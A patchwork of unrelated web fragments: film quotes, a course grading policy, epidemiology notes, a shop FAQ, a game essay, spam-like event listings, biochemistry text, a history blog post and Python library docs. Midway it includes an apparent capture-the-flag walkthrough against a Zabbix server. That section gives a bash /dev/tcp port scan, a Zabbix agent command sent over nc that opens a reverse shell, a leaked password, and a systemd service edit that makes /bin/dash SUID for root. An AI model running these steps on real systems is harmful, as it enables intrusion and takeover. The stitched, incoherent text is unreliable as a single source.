Now that we know who you are, I know who I am. I'm not a mistake! It all makes sense! In a comic, you know how you can tell who the arch-villain's going to be? He's the exact opposite of the hero.  I should've known way back when... You know why, David? Because of the kids. They called me Mr Glass.
My money's in that office, right?   She gonna tell me too.
Well, the way they make shows is, they make one show. That show's called a pilot. Then they show that show to the people who make shows, and on the strength of that one show they decide if they're going to make more shows. Some pilots get picked and become television programs. Some don't, become nothing. She starred in one of the ones that became nothing.
You think water moves fast? You should see ice. It moves like it has a mind. Like it knows it killed the world once and got a taste for murder. After the avalanche, it took us a week to climb out. Now, I don't know exactly when we turned on each other, but I know that seven of us survived the slide... and only five made it out. Now we took an oath, that I'm breaking now. We said we'd say it was the snow that killed the other two, but it wasn't. Nature is lethal but it doesn't hold a candle to man.


Repository Owner: {{repository.owner.login}}
Date Created : {{repository.created_at|date | dayCount}}
Description : {{repository.description}}


Grading
Turning in work and late policy
Late work will receive no credit. However, you have two free "late days" that you can use at anytime during the quarter on a project. A late day gives you one extra day to turn in your homework without penalty. The purpose of these late days is to help you deal with unexpected events, including getting sick, going to the doctor, or any other events that might cause you to turn in your homework late.We will track late days automatically, but if you use late days but don't have any available (e.g., you submit a project late but you don't have any late days left) we will give you a 0 on the project. Unfortunately, we don't have a way to encode the late day policy in the autograder currently.
Cheating policy
I have a no tolerance policy on cheating, which includes copying from friends and plagarism. If you get caught cheating, you will get an F in this class and I will turn you into the univerisity's academic integrity group.
Grade breakdown
Your grade will be composed of the following items:| Item | Percent | Description |
|---|---|---|
| COVID | 20% | Free points due to the difficult nature of online classes |
| Midterms | 40% | We will have two midterms this quarter, each will be worth 20% of your final grade. |
| Projects | 40% | The three processes, system APIs, threads, and concurrency projects will be worth 20% of your grade (5% each for the first two and 10% for the third) and the 1-2 projects on network programming and distributed systems will be worth 20% of your grade (split evenly between the projects in this category). |
Grade scale
I grade on a straight grade scale.| Grade | Score |
|---|---|
| A | [93, 100] |
| A- | [90, 93) |
| B+ | [87, 90) |
| B | [83, 87) |
| B- | [80, 83) |
| C+ | [77, 80) |
| C | [73, 77) |
| C- | [70, 73) |
| D | [60, 70) |
| F | [0, 60) |


I am currently pursuing a degree in Media and Information with minors in graphic design and Spanish from Michigan State University. I am passionate about using my design skills to help companies enhance their user interface and improve their user experience!
While in college, I have been given the opportunity to study abroad three times- Puerto Rico, Mexico, and Cuba! I have realized my passion for combining my design and language skills. Through my work, I am striving to be a part of something that will positively impact others.


| Ticket ID: 409788 | |
|---|---|
| Name: |
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| Email: |<EMAIL_ADDRESS>|
| Response Time: | 72hours, 60hours left |
| Last Action: | Never been locked. |
| Link to public post | |
| Status: | Not answered |
| Ticket ID: 409788 | |
|---|---|
| Name: |
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| Email: |<EMAIL_ADDRESS>|
| Response Time: | 72hours, 60hours left |
| Last Action: | Never been locked. |
| Link to public post | |
| Status: | Not answered |


What and why spatial statistics? Làm thống kê
Spatial Epidemiology
Concerns the analysis of the spatial/geographical distribution of the incidence or prevalence of disease. Also called:
- geographical epidemiology
- environmental epidemiology
- medical geography
- small area health study
- spatial biostatistics
How to analyse geographical data when we have geographical information available?
Non-Spatial Analysis
- Using conventional statistical methods
- The results are independent of the spatial arrangement of the geographical entities
- Observations or entities are assumed to be independent and identically distributed, or in some occasions temporal dependence are also explored.
| asas | sasa | asas |
|---|---|---|
| adasdsaasas | sasa | asasadasdasdsads |
| Variable 1 | Variable 2 | Variable n | |
|---|---|---|---|
| Entity 1 | attribute~1~ | attribute~12~ | attribute~1n~ |
| Entity 2 | attribute~21~ | attribute~22~ | attribute~2n~ |
| Entity m | attribute~m1~ | attribute~m2~ | attribute~mn~ |
Spatial analysis
- When geographical information available, data are called geo-referenced
- Use of spatial statistical methods
- The results depend on the spatial arrangement of the geographical entities
- It can also include temporal dependence
| Geographical | attribute | ||||
|---|---|---|---|---|---|
| X | Y | Variable 1 | Variable 2 | Variable n | |
| Entity 1 | X~1~ | Y1 | attribute~1~ | attribute~12~ | attribute~1n~ |
| Entity 2 | X~2~ | Yg | attribute~21~ | attribute~22~ | attribute~2n~ |
| Entity m | X~m~ | Ym | attribute~m1~ | attribute~m2~ | attribute~mn~ |
Areas of Applications
Earliest example of spatial epidemiology: Dr. John Snow’s study of spatial distribution of cholera victims. Epidemic around the Broad Street pump in London (1854)
Other example: In an epidemiological investigation, we might wish to analyze lung, breast, colorectal, and cervical cancer rates by county and year in a particular state, with smoking, mammography, and other important screening and staging information also available at some level.
Researchers in diverse areas such as climatology, ecology, environmental health, and real estate marketing are increasingly faced with the task of analyzing data that are highly multivariate, with many important predictors and response variables, geographically referenced, and often presented as maps and temporally correlated, as in longitudinal or other time series structures.
Statistical Inference
Public health professionals who collect such data are charged not only with surveillance, but also statistical inference tasks, such as modeling of trends and correlation structures, estimation of underlying model parameters, hypothesis testing (or comparison of competing models), prediction of observations at unobserved times or locations. All naturally accomplished through hierarchical modeling (which can be implemented via Markov chain Monte Carlo (MCMC) methods or other frequentist approaches)
Spatial Statistics Books
Pioneer Book: Paelinck and Klaassen (1979): which focused the attention of regional scientists on the need for specialized econometric methods to deal with estimation and specification problems caused by spatial data.
Books in the field: Cressie (1990, 1993): the legendary “bible” of spatial statistics, but rather high mathematical level and lacks modern hierarchical modeling/computing. Wackernagel (1998): terse; only geostatistics. Chiles and Delfiner (1999): only geostatistics. Stein (1999a): theoretical treatise on kriging.
More descriptive presentations: Bailey and Gatrell (1996) focuses on description of pattern, tests of hypotheses, and interpolation, the authors continually stress the role of visualization in understanding spatial phenomena. Fotheringham and Rogerson (1994): deal with the integration of GIS and spatial analysis. Haining (1990):include data description, map interpolation, exploratory and explanatory analyses.
More recent books: Banerjee, S., Carlin, B.P. and Gelfand, A.E. (2004) Hierarchical modeling of analysis for spatial data, CRC Press. Waller, LA, and Gotway, CA. (2004) Applied spatial statistics for public health, Wiley & Sons. Bivand, R.S., Pebesma, E.J., Gomez-Rubio, V. (2008) Applied Spatial Data Analysis with R, Springer. Lawson, A. (2009) Bayesian disease mapping. Hierarchical modeling in spatial epidemiology, Chapman & Hall. Gelfand, A.E., Diggle, P., Fuentes, M. and Guttorp, P. (2011) Handbook of Spatial Statistics, CRC press. Cressie, N. and Wikle, C. (2011) Statistics for spatio-temporal data.
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Send us a product pic or link , we quote a price
Although prices are moderately lower in China, it’s quite a bad deal to establish an overseas office and hire staff to operate it for China procurement. The good news is that GM offers a better alternative. Serving as an order fulfillment agent, GM also assists you in purchasing products from China. Based in the largest sourcing destination, GM makes the most of this favorable location, thus can efficiently locate suppliers and shorten the supply chain. And for this reason, GM allows you to cut off costs, enjoy professional procurement services, surely at the best prices, and gain great benefits from China.
It’s definitely not that easy to find right suppliers. However, applying tactical local sourcing strategies and collaborating with China-based factories and industry alliances, GM Fulfillment is skilled in managing Chinese suppliers and has abundant high-quality sourcing resources at command, so with millions of products manufactured in China we can get you connected and assure product quality.
Purchasing directly from online suppliers is not only time-consuming, but can be a troublesome and risky task. Fortunately, GM Fulfillment helps you identify and verify suppliers based on accumulated sourcing experiences together with technological means, and interconnects you with reliable suppliers.
Not all Chinese suppliers have a international trade department. GM can help you communicate better with manufacturers to ensure that you will not miss any quality suppliers.


A: First you need to set up an account, once that is created you are ready to place an order.
A: Click on the login button in the upper right hand corner of the main page and then click on create an account.
A: Please allow 1 - 3 business days (Monday-Friday) for order processing regardless of the shipping method chosen. Once shipped you should receive your order within 2 - 10 business days. Please note that 2 day and Overnight services refer to business days (Monday - Friday).
A: We try to update the website as often as possible to reflect out of stock conditions. However, the ability to order an item does not guarantee that it will be in stock when your order is processed. You will be notified if an order is not available.
A: If you are unable to select a specific size or color, it typically means that the item is out of stock. Try checking back in 2 - 3 weeks to see if your size or color is available.
A: The items that are currently shown on our website represent what is currently available to view and order online. There is a wider selection of merchandise available at the UVM CD store and the Catamount Store. Please visit our stores when you are in the Burlington area.
A: If you have registered for an account at the UVM CD store, click on "My Account" and login with your email address and password. You can view the status of any orders that were made while you were signed in. You can also contact us at 1.800.331.7305 with your name, order number, and a request for status of your order. Our office hours are Monday - Friday 8am -4:30pm EST
A: You can cancel your order or make a change to it by contacting us at 1.999.999.9999 as soon as possible after your order is placed with your name, order number, and a request for cancellation or a description of the requested change. Our office hours are Monday Friday 8am 4:30pm. We will do our best to cancel or modify your order, but we will not be able to complete the cancellation if your order has been processed or shipped.
The UVM CD store is proud to offer you competitive shipping rates. All of our shipments are professionally packed to ensure the safety of your items in route.
A: The shipping charge depends on the total amount of the merchandise ordered as well as the shipping method chosen. There are some items that incur additional charges such as diploma frames $19.99 for an oversized box and maple syrup $1.00 for double-boxing. The rate for chairs and rockers is $35.00 for shipments east of the Mississippi and $45.00 west of the Mississippi.
A: We ship UPS, FedEx or US mail .
A: On average, your order will be received in 7 - 10 working days. During August and January, delivery time may take longer.


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Home
Payments
create your own website
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Search:
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Transaction ID
Date Processed
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{{ r[0] }}
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Showing
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total entries)


this is kihyun. he is the coolest guy in kpop. he sings very well, and he can dance too!
this is kihyun! he doesn't go to UCLA, but he wore a shirt from our school. how cool!
here he is singing in japanese with his friends :)


Huấn luyện viên Trương Thanh Minh
Eliza wants to take her riders to a new level and bring out their inner rock star. She grew up playing water polo and dancing, and studied Sport and Exercise Science before completing a Graduate Diploma in Secondary Education. Having worked in the fitness industry for nine years, she believes the key to exercise is all about enjoying what you are doing, riding the beat, feeling the music and having fun! Sharing her passion and making people fall in love with the revolution is what motivates her to spread the message that health is your greatest wealth.
The bigger the challenge , the bigger the opprtunity.
Phòng tập citigym thành thái


QA of Code
1
QA for Coding Struture
1.1
Pages
1.2
Terminlogy
2
RAP
2.0.1
Why make our work reproducible?
2.0.2
What is a reproducible analytical pipeline?
3
Levels of RAP
4
Testing
4.0.1
Advantages of testing your code
4.0.2
When should you use testing
4.0.3
When should you not use testing
5
Testing Frameworks
5.1
What excatly is a test
5.1.1
Unit Test
5.1.2
Intergration Tests
5.1.3
Test Driven Development
5.2
Refernces
6
GIT
6.0.1
Git Introduction
6.0.2
About Version Control
6.0.3
What is GIT
6.0.4
How does GIT actually work
6.0.5
Typical Git workflow
6.0.6
Remote Repostory
6.0.7
Branching
6.0.8
Pull Request and issues
7
Coding Guidelines
7.1
Why Useful
7.2
Best Practices to follow
7.3
9 Principles
8
This is test
8.1
Secomnd level header
8.2
examples
8.2.1
python
8.2.2
r
8.3
heading
Published with bookdown
QA of Code
Chapter 8
This is test
8.1
Secomnd level header
8.2
examples
Some text sds
8.2.1
python
dfod
8.2.2
r
data
8.3
heading
some text to do stuffs
Tab Name 1
Tab Name 2


Mass Effect's Ending
Spoilers
If you want to understand Mass Effect’s conclusion, you have to start not at the beginning, but at the end, the very end. After the credits roll, an old man—and a child who appears to be his grandson—stand in a grove of trees looking out onto a spectacular night sky. The child listens in wonder as the grandfather finishes Mass Effect’s narrative, then asks if the grandfather will tell him another story about “the Shepherd.”
In creating a series that spans hundreds of choices, a spectrum of morality decisions, battles in which any number of characters can die, and various overall design adjustments, Mass Effect manages to finish with a coherent epilogue that encompasses all possible narrative conclusions. Beyond the color-coded final choice offered to Commander Shepard at the pinnacle of the transformed citadel-plus-crucible device, whether you played before or after the expanded ending, the Mass Effect universe ends the same: life goes on, and Commander Shepard was the key piece in deciding how that life would continue.
Secondly, the grandfather epilogue provides a meaningful connection back to the single most-repeated word over the course of dozens of hours of gameplay: Shepard. Think about all the times you heard that name. Remember the YouTube videos that compiled characters saying it again and again. And whether it’s superficial or not, the connection to the epilogue’s Shepherd—the protector—cannot be taken for granted. What Commander Shepard would become was decided before the player even presses start at the first game’s opening.
“But it takes away player agency at the last moment!” you cry. Perhaps it does, but weren’t you paying attention as all those hours of dialogue, cutscenes, and Codex entries rolled by? Races in the Mass Effect universe have only the illusion of choice. Everything goes back to the inevitable cycle which ends with the coming of the Reapers.
“But I chose to wipe out all synthetics!” you say. That’s all well and good for you, but according to the narrative content (which you only ignore if you’re under the delusion that you are making the story, not experiencing a story authored by someone else) synthetic life will again reemerge when a technologically advanced race invents it. So there it is, cyclical thinking, just as the game narrative has presented from day one.
Are there other ways the designers could have concluded the trilogy, yes. Could the voice acting have been better in the epilogue, certainly. But it is the epilogue that finishes Mass Effect, not the choice of Commander Shepard (or the player). The series, it seems, strives to make two points concerning the end of its narrative. The first is that even in a veritable universe’s worth of decisions, all choices lead to the same eventual end. The second is that choice defines character, and character is more important than events.
When the grandfather tells the story to his grandson, when the events of Mass Effect have become tales from long ago, it is not what happened in the story that matters but who.


Sign in as guest and gather public information
Notice "Zapper's Backup Script" and guess Zapper:Zapper, but GUI access is disabled.
API documentation!
script.update and script.execute to run custom commands
There is an execute_on flag that also needs to be added here in order to obtain access to the zabbix_agent vs the zabbix_server
Execute_on was apparently unintended!
Intended route:
Get a full shell on the zabbix container
Need a TTY with no python
SHELL=/bin/bash script -q /dev/null
DB password login to SQL database, find Admin hash, and crack
Also have the Zabbix admin GUI password
Another way to port scan, by using /dev/tcp feature in bash
bash -c 'echo 1 > /dev/tcp/<IP>/<port> && echo open || echo false'
Look at the Zabbix agent API now.
echo "system.run[<shell>]" | nc <IP_ADDRESS> 10050
But the agent kills the command after a short period of time. Need to 'fork' the process. Can do this with 'nohup' to background the process.
echo "system.run[bash -c 'nohup bash -i >& /dev/tcp/<ip>/<port> 0>&1 &']" | nc <IP_ADDRESS> 10050
Now on zabbix host!
Find backup.sh in/backup/zapper_backup with password "ZippityDoDah"
su - zapper with the password and yay!
Zapper@Zipper$ cat user.txt
SUID binary with zabbix-service.
Unintended privesc!
Strings or ltrace check out zabbix-service your favorite way. It calls:
systemctl daemon-reload && systemctl start zabbix-agent
systemctl call is vulnerable to path manipulation!
SUID systemctl and ez pz
Intended way:
/etc/systemd/system/purge-backups.service
/etc/systemd/system/purge-backups.timer
/etc/systemd/system/zabbix-agent.service.wants/purge-backups.timer
zapper can write purge-backups.service
[Unit]
Description=Purge Backups (Script)
[Service]
#ExecStart=/root/scripts/purge-backups.sh
ExecStart=/tmp/PleaseSubscribe.sh
[Install]
WantedBy=purge-backups.timer
vi /tmp/PleaseSubscribe.sh
#!/bin/bash
chmod 4755 /bin/dash
now find a way to call purge-backup service


Ocala events
-
how to make a psychogram
Toxicology meetings & conferences
Generating Effective Predictive Toxicology & ADME Testing to Advance Drug . The first Inhaled Particles conference was held in Oxford in 1960 and ever since .
http://www.researchraven.com/conferences/category/toxicology.aspxSOT 2013 Annual Meeting
I cordially invite you to attend SOT's 52nd Annual Meeting, March 1014, 2013, at the Henry Gonzalez Convention Center San Antonio, Texas. read more
http://www.toxicology.org/AI/MEET/AM2013/EAPCCT
The European Association of Poisons Centres and Clinical Toxicologists . It organizes an annual international congress, the next taking place in May 2013 in .
http://www.eapcct.org/
i will survive stefanie Upcoming events in Ocala
- Sponsored event
paul's place as a beatle
Apr 6 - Dance It Studio
michelle bombshell smith freeones university of illinois veterinary hospital
- Sponsored event
skinniest cat in the world
Apr 6 - Downtown Disney
atlantic painting in new hampshire jennifer johnson ste marie
staten island obituaries stefanie glassman Hottest Tickets
-
Apr 11jeanette ashman powhatan va
Amway Center -
Apr 28acoustically transparent theater screen
Amway Center -
Jun 25imperial university glen walington
Bob Carr Performing Arts Center -
Mar 30jennifer johnson ste marie
Amway Center -
Aug 27literary period notes romanticism
Amway Center -
Jun 21jeanette ashman powhatan va
Amway Center -
Sep 13us military award citations
Francis Field -
Mar 17florida lpn license renewal
St Augustine Amphitheatre -
Oct 8lieutenant robert d weekes jr
Amway Center -
May 4who you really are lyrics
Bob Carr Performing Arts Center
Ocala's best venues
-
African Society for Toxicological Sciences
You are cordially invited to the ASTS Satellite Conference/Mixer held in conjunction with the 52nd Society of Toxicology (SOT) Annual Meeting in San Antonio, .
http://africansocietyfortoxicologicalsciences.org/ -
Meeting Calendar - Society of Toxicologic Pathologists
The SOT 52nd Annual Meeting is the largest toxicology meeting and exhibition in the world, with an expected . The XIII International Congress of Toxicology .
http://www.toxpath.org/meetings.asp -
Congress Brochure - Amazon Web Services
Academy of Clinical Toxicology, which will also accredit the Congress for continuing medical . Scientific and Meetings Committee has arranged a TOXUPDATE.
https://aapcc.s3.amazonaws.com/files/library/Congress_brochure_Copenhagen_2013.pdfrush limbaugh's charity work
98 people's favorite
-
International Congress of Toxicology 2013 - Conference Alerts
International Congress of Toxicology 2013 (ICT 2013) to be held at the COEX convention center in Seoul, Korea, June 30 ~ July 4, 2013, the Thirteenth World .
http://www.conferencealerts.com/show-event?id=86316 -
Toxicology Special Issues
Highlights of the 2010 Annual Congress of The British Toxicology Society. . Special Issue section on:New Technologies for Toxicology - Meeting Future .
http://www.journals.elsevier.com/toxicology/special-issues/


Any loss of PheH activity can result in the accumulation of Phe and its neurotoxic metabolites, as well as in the depletion of tyrosine and methionine, the latter being needed for the formation of catecholamine neurotransmitters such as dopamine, as well as for protein synthesis. The outcome of such metabolic changes can often be neurological disease.
Several hundred different mutations in the PheH gene have been characterised over the entire length of the protein. Many of these have been recorded and annotated in the PheH (or PAH) database, http://www.pahdb.mcgill.ca/, which provides expression analysis data. These mutations result in a wide spectrum of phenotypes that range in severity from mild hyperphenylalaninaemia (HPA) (serum Phe levels of 400-600 mmol/L) with a low risk of impaired cognitive development, to phenylketonuria (PKU) (MIM:261600) characterised by high serum Phe levels (>1200 mmol/L), which if left untreated causes severe progressive mental retardation, epilepsy and microcephaly; these symptoms can largely be prevented by a Phe-restricted diet. In addition to mutations in PheH gene, about 2% of cases arise from mutations in the enzymes that synthesise the BH4 cofactor. HPA and PKU are autosomal recessive disorders, with an average incidence of 1/10,000 in Caucasian populations.
Most of the mutations in PheH are point (missense) mutations that most frequently result in protein misfolding. Misfolded monomers tend to associate through exposed hydrophobic surfaces to form aberrant oligomers that can irreversibly form large protein aggregates. Cells have a quality control system to remove mutant polypeptides so as to prevent the potentially damaging effects of protein aggregates, usually through ubiquitinylation. All forms of the mutant enzyme, including the misfolded polypeptide, aberrant oligomers and large protein aggregates, are subjected to an increased rate of proteolytic degradation, which reduces the intracellular levels of mutant PheH and consequently decreases Phe catabolism leading to HPA or PKU diseases.
A small number of missense mutations result in decreased enzyme affinity for either substrate or BH4 cofactor binding, or affect allosteric regulatory properties of the enzyme. For example, some PheH deficiencies are responsive to the oral administration of BH4 cofactor. BH4‑responsive PheH deficiencies all show residual catalytic activity, but have a reduced affinity for BH4 cofactor binding resulting from mutations in the catalytic domain. The administration of BH4 is thought to increase the binding of the cofactor, as well as to protect the mutant enzyme from misfolding and degradation by increasing protein stability, thereby acting as a chemical chaperone.
Other genes may be involved in the severity of the PKU phenotype. For instance, the enzyme monoamine oxidase type B (MOAB) can degrade phenylethylamine, a toxic Phe metabolite that can cause brain injury. It is thought that MOAB might be a modifier gene in PKU, because different levels of phenylethylamine have been found in PKU patients with similar levels of Phe.


Digital History Workshop
At Vanderbilt, our main departmental gathering is the Vanderbilt History Seminar (aka VHS). In recent years, VHS has started funding small mini workshops on a variety of topics. Last year, I presented at one on the concept of rituals of belonging in our research. This fall I proposed and had accepted a set of two workshops on digital history. You can read my proposal [here], but essentially my desire was to start a conversation in the department about how to meaningfully produce and evaluate digital history scholarship. In many ways, the impetus was the AHA’s recent Guidelines for Evaluating Digital History, but the proposal was also self-interested.
Since last May, I’ve been engaging more deeply with the literature on digital history/humanities, after a great Skype call with Micki Kaufman, who encouraged me to make the leap. So far I’ve presented some preliminary research at SHAFR in June, and eventually designed and developed this website in September. But I’ve been a bit hesitant on how to move forward more meaningfully with digital history in my scholarship.
In part, I’ve been busy with archival work and dissertation writing. However, as I’ve become more conversant and interested in digital history, I’ve also become increasingly conflicted, and even at times skeptical, over the term/field. I don’t want to rehash any of the debates over nomenclature here, but at least personally, I’m still unsure if I see digital history as something similar to oral history (as a new methodology) or something more akin to cultural or social history (as in a new analytic for asking historical questions). I know it doesn’t have to be one or the other, but the question boils down to whether one is a digital historian or whether every historian should be using some form of digital [insert tool/method]. While I realize we won’t solve this dilemma in the workshop, I’m hoping that the workshop produces some new understandings about what constitutes digital history.
This week I’ve been going back over blog posts, articles, and digital projects to create a list of materials for the workshop. Somehow I missed it when he initially posted it, but I found Cameron Blevins’ blog post “The Perpetual Sunrise of Methodology”. and wow he really hits the nail on the head. I encourage everyone to read it, but I also wanted to post this particular section that really resonated with me.
“But there is one area in which digital history has lagged behind: academic scholarship. To be clear: I’m intentionally using “academic scholarship” in its traditional, hidebound sense of marshaling evidence to make original, explicit arguments. This is an artificial distinction in obvious ways. One of digital history’s major contributions has, in fact, been to expand the disciplinary definition of scholarship to include things like databases, tools, and archival projects. The scholarship tent has gotten bigger, and that’s a good thing. Nevertheless there is still an important place inside that tent for using digital methods specifically to advance scholarly claims and arguments about the past.
In terms of argument-driven scholarship, digital history has over-promised and under-delivered. It’s not that historians aren’t using digital tools to make new arguments about the past. It’s that there is a fundamental imbalance between the proliferation of digital history workshops, courses, grants, institutes, centers, and labs over the past decade, and the impact this has had in terms of generating scholarly claims and interpretations. The digital wave has crashed headlong into many corners of the discipline. Argument-driven scholarship has largely not been one of them.”
The rest of the post is great too, but when this passage really made me want to high five my screen and shout YES! All my protean frustrations I realize that digital history doesn’t just have to be about scholarship, but I’m excited to see that others are both identifying this gap, and producing examples of great digital historical scholarship.
Our first workshop is this morning, and beneath the excitement and nerves, I’m hoping our workshop can start a discussion of how historians can engage more directly with digital history projects. I hope we also help people start thinking about how their research questions might develop through a digital history lens. These goals are a tall order for a workshop, but already I’ve been pleasantly surprised at the amount of interest. If you’re at Vandy and interested in attending, feel free to stop by (we still have a few more seats) and you can check out details on our website vhsdist.wordpress.com. I’ll try and write about the experience of the first workshop over the weekend.
Also this morning, just found that the latest American Historical Review has a whole roundtable about Digital History. Talk about timing!


{% extends "base.html" %} {% block content %}
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StreamHub-Isotope is a pluggable View for use with StreamHub-Backbone. It will use the jQuery Isotope plugin to lay out Content for a tiled display.
Example Usage
var app = new Hub({
sdk: livefyreSdk,
collection: {
siteId: "303772",
articleId: "prod0"
},
el: document.getElementById("example"),
view: IsotopeView
}).start();
Using It
Bower is used for dependency management. You can install the dependencies with
bower install
StreamHub-Isotope is written as an AMD module. You will need to use an AMD loader like RequireJS to use it. Add it as a package in your RequireJS config:
packages: [{
name: 'streamhub-isotope',
location: './path/to/streamhub-isotope'
}]
Then you can use it like:
require(['streamhub-isotope'], function (IsotopeView) {
// Hub some Streams, yo
})
Documentation
There is HTML documentation in the docs/
directory.


UPDATE INTERNET EXPLORER
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Guild Member Tor:
Details of the Request: Collect and bring back 50 Enchanted Gargoyle Horns.
Request Class: B


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- builtins.object
-
- Party
- Runtime
class Party(builtins.object) |
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Party(pid: int, host: str = None, port: int = None) -> None
Information about party with identity pid in the MPC protocol. |
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Methods defined here:
- __eq__(self, other)
- Return self==value.
- __init__(self, pid: int, host: str = None, port: int = None) -> None
- Initialize self. See help(type(self)) for accurate signature.
- __repr__(self)
- String representation of the party.
Data descriptors defined here:
- __dict__
- dictionary for instance variables (if defined)
- __weakref__
- list of weak references to the object (if defined)
Data and other attributes defined here:
- __annotations__ = {'host': <class 'str'>, 'pid': <class 'int'>, 'port': <class 'int'>}
- __dataclass_fields__ = {'host': Field(name='host',type=<class 'str'>,default=Non...appingproxy({}),kw_only=False,_field_type=_FIELD), 'pid': Field(name='pid',type=<class 'int'>,default=<dat...appingproxy({}),kw_only=False,_field_type=_FIELD), 'port': Field(name='port',type=<class 'int'>,default=Non...appingproxy({}),kw_only=False,_field_type=_FIELD)}
- __dataclass_params__ = _DataclassParams(init=True,repr=True,eq=True,order=False,unsafe_hash=False,frozen=False)
- __hash__ = None
- __match_args__ = ('pid', 'host', 'port')
- host = None
- port = None
- protocol = None
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class Runtime(builtins.object) |
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Runtime(pid, parties, options)
MPyC runtime secure against passive attacks.
The runtime maintains basic information such as a program counter, the list
of parties, etc., and handles secret-shared objects of type SecureObject.
1-party case is supported (with option to disable asynchronous evaluation).
Threshold 0 (no corrupted parties) is supported for m-party case as well
to enable distributed computation (without secret sharing). |
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Methods defined here:
- async __aenter__(self)
- Start MPyC runtime when entering async with context.
- async __aexit__(self, exc_type, exc, tb)
- Shutdown MPyC runtime when exiting async with context.
- __init__(self, pid, parties, options)
- Initialize runtime.
- abs(self, a, l=None)
- Secure absolute value of a.
- add(self, a, b)
- Secure addition of a and b.
- add_bits(self, x, y)
- Secure binary addition of bit vectors x and y.
- all(self, x)
- Secure all of elements in x, similar to Python's built-in all().
Elements of x are assumed to be either 0 or 1 (Boolean).
Runs in log_2 len(x) rounds.
- and_(self, a, b)
- Secure bitwise and of a and b.
- any(self, x)
- Secure any of elements in x, similar to Python's built-in any().
Elements of x are assumed to be either 0 or 1 (Boolean).
Runs in log_2 len(x) rounds.
- argmax(self, *x, key=None)
- Secure argmax of all given elements in x.
See runtime.sorted() for details on key etc.
In case of multiple occurrences of the maximum values,
the index of the first occurrence is returned.
- argmin(self, *x, key=None)
- Secure argmin of all given elements in x.
See runtime.sorted() for details on key etc.
In case of multiple occurrences of the minimum values,
the index of the first occurrence is returned.
- async barrier(self, name=None)
- Barrier for runtime, using optional string name for easy identification.
- convert(self, x, ttype)
- Secure conversion of (elements of) x to given ttype.
Value x is a secure number, or a list of secure numbers.
Converted values assumed to fit in target type.
- div(self, a, b)
- Secure division of a by b, for nonzero b.
- eq(self, a, b)
- Secure comparison a == b.
- eq_public(self, a, b)
- Secure public equality test of a and b.
- find(self, x, a, bits=True, e='len(x)', f=None, cs_f=None)
- Return index ix of the first occurrence of a in list x.
The elements of x and a are assumed to be in {0, 1}, by default.
Set Boolean flag bits=False for arbitrary inputs.
If a is not present in x, then ix=len(x) by default.
Set flag e=E to get ix=E instead if a is not present in x.
Set e=None to get the "raw" output as a pair (nf, ix), where
the indicator bit nf=1 if and only if a is not found in x.
For instance, E=-1 can be used to mimic Python's find() methods.
If E is a string, i=eval(E) will be returned where E is an expression
in terms of len(x). As a simple example, E='len(x)-1' will enforce
that a is considered to be present in any case as the last element
of x, if not earlier.
The return value is index ix, by default.
If function f is set, the value of f(ix) is returned instead.
Even though index ix is a secure number, however, the computation of f(ix)
does not incur any communication costs, requiring local computation only.
For example, with f=lambda i: 2^i we would save the work for a secure
exponentiation, which would otherwise require a call to runtime.to_bits(ix), say.
Also, function cs_f can be set instead of specifying function f directly.
Function cs_f(b, i) will take as input a (secure) bit b and a (public) index i.
The relationship between function f and its "conditional-step function" cs_f
is given by:
cs_f(b, i) = f(i+b), for b in {0, 1} (*)
For example, for f(i) = i, we get cs_f(b, i) = i+b.
And, for f(i) = 2^i, we get cs_f(b, i) = 2^(i+b) = (b+1) 2^i.
In general, we have:
cs_f(b, i) = b (f(i+1) - f(i)) + f(i), for b in {0, 1} (**)
For this reason, cs_f(b, i) can be computed locally indeed.
A few more examples:
f(i) = i | 2^i | n-i | 2^-i | (i, 2^i)
cs_f(b, i) = i+b | (b+1) 2^i | n-i-b | (2-b) 2^-(i+1) | (i+b, (b+1) 2^i)
In the last example, f(i) is a tuple containing two values. In general, f(i)
can be a single number or a tuple/list of numbers.
Note that it suffices to specify either f or cs_f, as (*) implies that
f(i) = cs_f(0, i). If cs_f is not set, it will be computed from f using (**),
incurring some overhead.
- from_bits(self, x)
- Recover secure number from its binary representation x.
- gather(self, *obj)
- gauss(self, A, d, b, c)
- Secure Gaussian elimination A d - b c.
- gcd(self, a, b, l=None)
- Secure greatest common divisor of a and b.
If provided, l should be an upper bound on the bit lengths of both a and b.
- gcdext(self, a, b, l=None)
- Secure extended GCD of secure integers a and b.
Return triple (g, s, t) such that g = gcd(a,b) = s*a + t*b.
If provided, l should be an upper bound on the bit lengths of a and b.
- gcp2(self, a, b, l=None)
- Secure greatest common power of 2 dividing a and b.
- ge(self, a, b)
- Secure comparison a >= b.
- if_else(self, c, x, y)
- Secure selection between x and y based on condition c.
- if_swap(self, c, x, y)
- Secure swap of x and y based on condition c.
- in_prod(self, x, y)
- Secure dot product of x and y (one resharing).
- indexOf(self, x, a, bits=False)
- Return index of the first occurrence of a in x.
Raise ValueError if a is not present.
- input(self, x, senders=None)
- Input x to the computation.
Value x is a secure object, or a list of secure objects.
The senders are the parties that provide an input.
The default is to let every party be a sender.
Except for secure integers, secure fixed-point numbers, and
secure finite field elements, which are handled directly, the
input of secure objects is controlled by their _input() method.
For instance, mpyc.sectypes.SecureFloat._input() does this for
secure floating-point numbers.
- inverse(self, a, b, l=None)
- Secure inverse of a modulo b, assuming a>=0, b>0, and gcd(a,b)=1.
The result is nonnegative and less than b (inverse is 0 only when b=1).
If provided, l should be an upper bound on the bit lengths of both a and b.
To compute inverses for negative b, use -b instead of b, and
to compute inverses for arbitrary nonzero b, use abs(b) instead of b.
- invert(self, a)
- Secure bitwise inverse (not) of a.
- is_zero(self, a)
- Secure zero test a == 0.
- is_zero_public(self, a) -> _asyncio.Future
- Secure public zero test of a.
- lcm(self, a, b, l=None)
- Secure least common multiple of a and b.
If provided, l should be an upper bound on the bit lengths of both a and b.
- logging(self, enable=None)
- Toggle/enable/disable logging.
- lsb(self, a)
- Secure least significant bit of a.
- lt(self, a, b)
- Secure comparison a < b.
- matrix_add(self, A, B, tr=False)
- Secure addition of matrices A and (transposed) B.
- matrix_prod(self, A, B, tr=False)
- Secure matrix product of A with (transposed) B.
- matrix_sub(self, A, B, tr=False)
- Secure subtraction of matrices A and (transposed) B.
- max(self, *x, key=None)
- Secure maximum of all given elements in x, similar to Python's built-in max().
See runtime.sorted() for details on key etc.
- min(self, *x, key=None)
- Secure minimum of all given elements in x, similar to Python's built-in min().
See runtime.sorted() for details on key etc.
- min_max(self, *x, key=None)
- Secure minimum and maximum of all given elements in x.
Saves 25% compared to calling min(x) and max(x) separately.
Total number of comparisons is only (3n-3)//2, compared to 2n-2 for the obvious approach.
